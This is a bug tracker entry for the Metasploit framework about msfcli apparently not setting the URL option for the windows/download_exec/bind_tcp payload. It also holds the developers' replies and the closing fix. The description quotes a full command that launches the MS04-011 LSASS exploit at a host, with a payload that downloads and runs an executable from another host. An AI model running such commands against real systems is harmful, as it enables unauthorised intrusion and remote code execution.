Bug #196
Payload "windows/download_exec/bind_tcp" - Cannot set "URL" variable via msfcli
| Status: | Closed | Start: | ||
|---|---|---|---|---|
| Priority: | Normal | Due date: | ||
| Assigned to: | HD Moore | % Done: | 0% |
|
| Category: | general | |||
| Target version: | Metasploit 3.2 | |||
| Resolution: | fixed |
Description
$ msfcli windows/smb/ms04_011_lsass PAYLOAD=windows/download_exec/bind_tcp URL=!http://10.0.0.1:2000/code.exe RHOST=10.0.0.2 O
... results in "URL" still being undefined. Setting "URL" via msfconsole and msfweb works. Enclosing the URL string in quotes (URL="!http://10.0.0.1:2000/sample.exe") had no effect.
Associated revisions
Fixes #196. Correctly show set options in the 'O' mode
History
Updated by about 2 years ago
If one sets and saves "URL" globally via msfconsole, msfcli successfully uses it.
Updated by HD Moore over 1 year ago
The displayed options are incorrect, but the variable is being set properly.
Updated by HD Moore over 1 year ago
- Status changed from New to Closed
- Resolution set to fixed